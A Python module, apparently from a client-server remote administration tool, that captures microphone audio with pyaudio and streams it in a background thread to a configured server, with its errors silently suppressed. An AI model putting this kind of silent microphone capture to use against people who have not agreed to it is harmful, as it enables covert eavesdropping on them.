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'''
Creates a connection to the server, sending a stream
of audio data using the specified channels & rate.
Verified: 2021 February 6
* Follows PEP8
* Tested Platforms
* Windows 10
* Third Party Modules
* pyaudio
'''
from client.modules.module import Module
from shared.helper import Helper
from shared.state import Static
from shared.error import Error
from shared.data import Data
import pyaudio
import socket
class Audio(Module):
def __init__(self, token):
super().__init__(token)
self.__audio = pyaudio.PyAudio()
@Error.quiet_thread
def __send(self, channels, rate):
try:
stream = self.__audio.open(format=pyaudio.paInt16,
channels=channels, rate=rate,
frames_per_buffer=Data.BUFFER_SIZE,
input=True)
try:
with socket.create_connection(
(Static.IP, Static.PORT)) as sock:
Data.send(sock, self.token)
Data.recv(sock)
while True:
Data.send(sock, stream.read(
Data.BUFFER_SIZE), False)
Data.recv(sock)
finally:
stream.stop_stream()
stream.close()
finally:
self.__audio.terminate()
def live(self, channels, rate):
Helper.thread(self.__send, channels, rate)
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